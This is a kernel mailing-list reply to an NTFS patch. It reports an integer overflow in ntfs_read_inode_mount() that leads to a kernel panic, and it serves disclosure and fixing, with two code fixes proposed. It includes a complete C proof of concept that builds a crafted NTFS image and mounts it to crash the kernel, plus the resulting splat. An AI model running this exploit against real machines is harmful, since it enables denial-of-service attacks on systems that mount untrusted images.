Re: [PATCH v4 3/3] ntfs: bound the attribute-list entry in ntfs_read_inode_mount()
From: XIAO WU
Date: Thu Jun 11 2026 - 12:07:29 EST
Hi Bryam,
Sashiko [1] reviewed this patch (3/3, "ntfs: bound the attribute-list
entry in ntfs_read_inode_mount()") and found a pre-existing integer
overflow in the same function that remains unfixed. A PoC confirms:
mounting a crafted NTFS image with an oversized $ATTRIBUTE_LIST
triggers a kernel BUG.
[1] https://sashiko.dev/#/patchset/20260607203000.700100-1-hexlabsecurity%40proton.me
> diff --git a/fs/ntfs/inode.c b/fs/ntfs/inode.c
> index a5f7400fd19dc..c4fa6aa11c9e8 100644
> --- a/fs/ntfs/inode.c
> +++ b/fs/ntfs/inode.c
> @@ -2000,10 +2000,7 @@ int ntfs_read_inode_mount(struct inode *vi)
This is the function being hardened. Just a few lines above the
attribute-list walk, the allocation for ni->attr_list has an integer
overflow:
ni->attr_list_size = (u32)ntfs_attr_size(a);
...
ni->attr_list = kvzalloc(round_up(ni->attr_list_size, SECTOR_SIZE),
GFP_NOFS);
if (!ni->attr_list) {
...
}
`ntfs_attr_size(a)` returns a 64-bit signed value. When truncated to
`u32` and stored in `ni->attr_list_size`, a crafted value like
`0x1FFFFFE01` becomes `0xFFFFFE01`. `round_up(0xFFFFFE01, 512)` in u32
arithmetic then wraps to 0:
round_up(x, 512) = (((x) - 1) | 0x1FF) + 1
= (0xFFFFFE00 | 0x1FF) + 1
= 0xFFFFFFFF + 1
= 0 (mod 2^32)
`kvzalloc(0)` returns `ZERO_SIZE_PTR` (0x10), which is *non-NULL*.
The `!ni->attr_list` error check passes, and
`load_attribute_list_mount()` subsequently reads block-device data
into address 0x10, hitting:
kernel BUG at arch/x86/mm/physaddr.c:28! -- __phys_addr()
> /* Catch the end of the attribute list. */
> if ((u8 *)al_entry == al_end)
> goto em_put_err_out;
> - if (!al_entry->length)
> - goto em_put_err_out;
> - if ((u8 *)al_entry + 6 > al_end ||
> - (u8 *)al_entry + le16_to_cpu(al_entry->length) > al_end)
> + if (!ntfs_attr_list_entry_is_valid(al_entry, al_end))
> goto em_put_err_out;
The new ntfs_attr_list_entry_is_valid() function improves per-entry
validation in the walk, but the walk never executes if the allocation
crashes first — the oversized data_size triggers the overflow on the
very first kvzalloc before any entry is validated.
## Reproducer
The PoC constructs a minimal NTFS image with an $ATTRIBUTE_LIST attribute
whose data_size is set to 0x1FFFFFE01. Mounting it triggers the overflow →
ZERO_SIZE_PTR → BUG path.
Build: gcc -static -o poc poc.c
Run: ./poc (as root, uses losetup + mount)
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <errno.h>
#define SZ_SEC 512
#define SZ_CL 4096
#define IMG_SZ (64ULL * 1024 * 1024)
static uint8_t *img;
static void w16(uint8_t *p, uint16_t v) { p[0] = v & 0xFF; p[1] = (v >> 8) & 0xFF; }
static void w32(uint8_t *p, uint32_t v) { p[0] = v & 0xFF; p[1] = (v >> 8) & 0xFF; p[2] = (v >> 16) & 0xFF; p[3] = (v >> 24) & 0xFF; }
static void w64(uint8_t *p, uint64_t v) { for (int i = 0; i < 8; i++) p[i] = (v >> (i * 8)) & 0xFF; }
int main(void)
{
const char *path = "/tmp/ntfs_poc.img";
const char *mnt = "/mnt/ntfs_poc";
int fd, ret;
int mft_lcn = 16, mirr_lcn = 8, data_lcn = 2;
int rec_sz = 1024;
int mft_ofs, a_off;
img = calloc(1, IMG_SZ);
if (!img) return 1;
/* Boot sector */
uint8_t *p = img;
p[0] = 0xEB; p[1] = 0x52; p[2] = 0x90; memcpy(p + 3, "NTFS ", 8);
w16(p + 11, 512); p[13] = 8; w16(p + 14, 0); p[16] = 0;
w16(p + 17, 0); w16(p + 19, 0); p[21] = 0xF8; w16(p + 22, 0);
w16(p + 24, 63); w16(p + 26, 255); w32(p + 28, 0); w32(p + 32, 0);
w64(p + 40, IMG_SZ / 512); w64(p + 48, mft_lcn); w64(p + 56, mirr_lcn);
p[64] = -10; p[68] = -10;
w64(p + 72, 0x123456789ABCDEF0ULL); w32(p + 80, 0);
w16(p + 510, 0xAA55);
/* MFT Mirror: copy boot sector */
memcpy(img + mirr_lcn * (uint64_t)SZ_CL, img, SZ_SEC);
/* Data cluster: fill with 0xAB */
memset(img + data_lcn * (uint64_t)SZ_CL, 0xAB, SZ_CL);
/* --- MFT RECORD 0 --- */
mft_ofs = mft_lcn * SZ_CL; p = img + mft_ofs;
w32(p + 0, 0x454c4946); /* "FILE" magic */
w16(p + 4, 48); /* update sequence offset */
w16(p + 6, 3); /* update sequence length */
w16(p + 16, 1); /* hard links */
w16(p + 18, 1); /* attribute offset (we set real value later) */
w16(p + 20, 56); /* flags: IN_USE */
w16(p + 22, 1); /* data run offset */
w32(p + 28, rec_sz);
w64(p + 32, 0xFFFFFFFFFFFFFFFFULL);
w16(p + 40, 0); w16(p + 42, 0); w32(p + 44, 0);
w16(p + 48, 1); /* usa count */
a_off = 56;
/* Attribute [1]: $ATTRIBUTE_LIST (0x20), non-resident, oversized data_size */
{
uint8_t *a = p + a_off;
int len = 80;
int mp_off = 16 + 56;
w32(a + 0, 0x20); w32(a + 4, len);
a[8] = 1; a[9] = 0; /* non-resident */
w16(a + 10, 0); w16(a + 12, 0); w16(a + 14, 1);
w64(a + 16, 0); w64(a + 24, 0);
w16(a + 32, mp_off); a[34] = 0;
memset(a + 35, 0, 5);
w64(a + 40, 4096); /* allocated_size */
w64(a + 48, 0x1FFFFFE01ULL); /* data_size → OVERFLOW TRIGGER */
w64(a + 56, 1); /* initialized_size */
w64(a + 64, 0);
/* Mapping pairs: 1 cluster at LCN = data_lcn */
a[mp_off] = 0x11;
a[mp_off + 1] = 1;
a[mp_off + 2] = data_lcn;
a[mp_off + 3] = 0;
memset(a + mp_off + 4, 0, len - mp_off - 4);
a_off += len;
}
/* Attribute [2]: $DATA (0x80) */
{
uint8_t *a = p + a_off;
int len = 80;
int mp_off = 72;
w32(a + 0, 0x80); w32(a + 4, len);
a[8] = 1; a[9] = 0;
w16(a + 10, 0); w16(a + 12, 0); w16(a + 14, 2);
w64(a + 16, 0); w64(a + 24, 0);
w16(a + 32, mp_off); a[34] = 0;
memset(a + 35, 0, 5);
w64(a + 40, (uint64_t)IMG_SZ);
w64(a + 48, (uint64_t)IMG_SZ);
w64(a + 56, (uint64_t)IMG_SZ);
w64(a + 64, 0);
a[mp_off] = 0x11;
a[mp_off + 1] = 1;
a[mp_off + 2] = mft_lcn;
a[mp_off + 3] = 0;
memset(a + mp_off + 4, 0, len - mp_off - 4);
a_off += len;
}
/* AT_END */
w32(p + a_off, 0xFFFFFFFF); a_off += 4;
w32(p + 24, a_off); /* update real bytes_in_use */
/* Fix USA */
w16(p + 50, p[510] | (p[511] << 8)); p[510] = 1 & 0xFF; p[511] = (1 >> 8) & 0xFF;
w16(p + 52, p[1022] | (p[1023] << 8)); p[1022] = 1 & 0xFF; p[1023] = (1 >> 8) & 0xFF;
/* MFT records 1..31: empty */
for (int i = 1; i < 32; i++) {
uint8_t *r = img + i * rec_sz;
memset(r, 0, rec_sz);
w32(r + 0, 0xFFFFFFFF); w16(r + 4, 48); w16(r + 6, 3);
w16(r + 16, i); w16(r + 20, 56); w16(r + 22, 0);
w32(r + 24, 56); w32(r + 28, rec_sz); w64(r + 32, 0);
w32(r + 44, i); w16(r + 48, 1);
w16(r + 50, r[510] | (r[511] << 8)); r[510] = 1 & 0xFF; r[511] = (1 >> 8) & 0xFF;
w16(r + 52, r[1022] | (r[1023] << 8)); r[1022] = 1 & 0xFF; r[1023] = (1 >> 8) & 0xFF;
}
printf("[+] Writing and mounting...\n");
fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) { perror("open"); return 1; }
ret = write(fd, img, IMG_SZ);
close(fd); free(img);
if (ret != IMG_SZ) { perror("write"); return 1; }
mkdir(mnt, 0755);
system("losetup -d /dev/loop0 2>/dev/null; losetup /dev/loop0 /tmp/ntfs_poc.img 2>&1");
sync();
ret = mount("/dev/loop0", mnt, "ntfs", MS_RDONLY, NULL);
if (ret < 0) printf("[!] mount: %s\n", strerror(errno));
umount2(mnt, MNT_FORCE);
system("losetup -d /dev/loop0 2>/dev/null");
printf("[+] Done. Check dmesg for 'kernel BUG at arch/x86/mm/physaddr.c'\n");
return 0;
}
## Kernel Splat
Mounting the crafted image on 7.1.0-rc4 with this patch applied (via Sashiko):
[ 132.232704] kernel BUG at arch/x86/mm/physaddr.c:28!
[ 132.232722] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[ 132.232768] RIP: 0010:__phys_addr+0x9e/0x100
[ 132.232802] RAX: 0000778080000010 RDI: 0000000000000010 <-- ZERO_SIZE_PTR
[ 132.232884] Call Trace:
[ 132.232931] bdev_rw_virt+0x117/0x210
[ 132.233056] ntfs_bdev_read+0x25d/0x2e0
[ 132.233091] ntfs_read_inode_mount+0x1d07/0x2750
[ 132.233144] ntfs_fill_super+0x2557/0x9960
[ 132.233668] __x64_sys_mount+0x298/0x310
[ 132.233679] do_syscall_64+0x129/0xf80
[ 132.233951] Kernel panic - not syncing: Fatal exception
The registers RAX and RDI both contain 0x10 (ZERO_SIZE_PTR), confirming
the overflow → kvzalloc(0) → ZERO_SIZE_PTR → bdev_rw_virt crash path.
## Suggestion
This is a pre-existing issue, but since the patch touches the same
allocation site, fixing it here would prevent an attacker from bypassing
the new validation by triggering the overflow before any entry is
validated. Two possible fixes:
1. Use 64-bit arithmetic for the round_up:
ni->attr_list = kvzalloc(round_up((u64)ni->attr_list_size, SECTOR_SIZE),
GFP_NOFS);
2. Or check for overflow explicitly:
if (ni->attr_list_size > U32_MAX - SECTOR_SIZE + 1) {
err = -EINVAL;
goto put_err_out;
}
ni->attr_list = kvzalloc(round_up(ni->attr_list_size, SECTOR_SIZE),
GFP_NOFS);
Either approach prevents the overflow without changing the validation
improvements from this patch.
Thanks,
Xiao